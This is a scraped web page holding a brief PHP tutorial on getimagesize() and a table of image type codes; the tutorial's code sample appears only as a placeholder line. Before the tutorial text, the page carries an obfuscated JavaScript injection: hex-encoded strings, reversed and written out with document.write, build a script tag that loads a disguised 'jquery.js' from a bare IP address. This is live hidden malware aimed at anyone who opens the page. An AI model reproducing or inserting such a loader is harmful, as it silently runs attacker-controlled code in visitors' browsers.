var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0])); Get Width and Height of an Image in PHP

Get Width and Height of an Image in PHP

PHP provides a function to get the width and height of an image. "getimagesize()" This function will determine the size of image file and also will get size of flash file(swf).

Syntax

list($width, $height, $type, $attr) = getimagesize("image_name.jpg");

|—|——————— code ——————–|—|

This is a sample code, change image_name to your image name and test it!

When you run this script you will see the result like this

Image width 640
Image height 480
Image type 2
Image attribute width="640" height="480"

You will get the width, height, type of an image and also attribute of an image, I use this function in my image upload form.
Type of an image you can see from table below

Type of the image

1 = GIF 9 = JPC
2 = JPG 10 = JP2
3 = PNG 11 = JPX
4 = SWF 12 = JB2
5 = PSD 13 = SWC
6 = BMP 14 = IFF
7 = TIFF(intel byte order) 15 = WBMP
8 = TIFF(motorola byte order) 16 = XBM
Comments
  1. Website design long Island Reply
  2. Tutorial Lounge Reply

Leave a Reply

Your email address will not be published. Required fields are marked *